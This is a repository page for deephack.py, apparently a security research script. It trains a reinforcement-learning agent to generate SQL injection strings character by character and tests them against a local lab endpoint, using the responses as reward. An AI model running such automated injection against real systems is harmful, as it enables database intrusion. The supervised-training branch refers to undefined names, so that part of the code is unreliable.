forked from BishopFox/deephack
-
Notifications
You must be signed in to change notification settings - Fork 0
/
deephack.py
executable file
·115 lines (102 loc) · 4.57 KB
/
deephack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python3
import dqnagent
import state
import numpy as np
import requests
import argparse
import json
import sys
from collections import deque
parser = argparse.ArgumentParser()
parser.add_argument("--supervise", help="Perform supervised learning with argument as file")
parser.add_argument("--batchsize", help="Training batch size", default=32)
parser.add_argument("--epochs", help="num epochs", default=10)
parser.add_argument("--tensorboard", help="enable tensorboard", action='store_true')
parser.add_argument("model")
args = parser.parse_args()
filename = args.model
#TODO: Hyperparameter.
#This is the maxmimum length of our query string
input_len = 30
context_len = 5
max_qstringlen = 140
agent = dqnagent.Agent(input_len=input_len, context_len=context_len)
agent.load(filename)
if args.supervise != None:
types = args.supervise.split(',')
for rounds in range(500):
contents = []
[contents.extend(v(int(args.trainscale))) for k,v in supervising_types.items() if k in types]
if not contents:
print("cannot supervise on types: {0}\nvalid types are {1}".format(
types, supervising_types.keys()))
sys.exit(1)
print("-" * 20)
print("\tRound " + str(rounds))
agent.train_batch(contents, int(args.batchsize), int(args.epochs), args.tensorboard)
agent.save(filename)
print("Finished supervising.")
agent.save(filename)
else:
table = state.State()
failed_attempts = {}
queries = set()
while True:
#Iterate through the state table and try to add on to each item in there (plus the empty string)
for context in table:
value = table.value()
qstring = ""
input_state = ""
experience = dqnagent.Experience()
#Predict a character until it produces an end-of-string character (|) or it reaches the max length
while not qstring.endswith("|") and len(qstring) < max_qstringlen:
#Shrink our query down to length input_len
input_state = qstring[-input_len:]
attempts = []
if (input_state, context) in failed_attempts:
attempts = failed_attempts[input_state, context]
action = agent.act(input_state, context, attempts)
experience.add(input_state, context, attempts, action)
qstring += action
#Remove the trailing bar, it's not actually supposed to be sent
chopped = qstring
if qstring.endswith("|"):
chopped = qstring[:-1]
# Is this a repeat or blank?
repeat = qstring in queries or (chopped.split("%")[0][-1:] == "'")
queries.add(qstring)
success = False
if not repeat:
#Perform the action
param = {"user_id": chopped}
req = requests.get("http://127.0.0.1:5000/v0/sqli/select", params=param)
success = req.status_code == 200 and (len(req.text) >2)
#If the query was successful, update the state table
if success:
print("Got a hit!", qstring)
lastchar = chopped.split("%")[0][-1:]
table.update(context+lastchar)
#Find out what reward we received
value_new = table.value()
reward = value_new - value
#Learn from how that action performed
# attempts = []
# if (input_state, context) in failed_attempts:
# attempts = failed_attempts[input_state, context]
# agent.train_single(qstring[-1], context, input_state, attempts, reward)
#agent.train_experience(experience, success)
else:
# Add the character we just tried to the list of failures
# So that we can use it as input in later attempts
lastchar = chopped.split("%")[0][-1:]
guess_state = chopped.split("%")[0][:-1][-input_len:]
print("Incorrect: ", qstring)
if (guess_state, context) in failed_attempts:
failures = failed_attempts[guess_state, context]
if lastchar not in failures:
failures.extend(lastchar)
failed_attempts[guess_state, context] = failures
# Add this character to the list of failures
# Unless this was just a repeat. In which case ignore it
elif not repeat:
failed_attempts[guess_state, context] = [lastchar]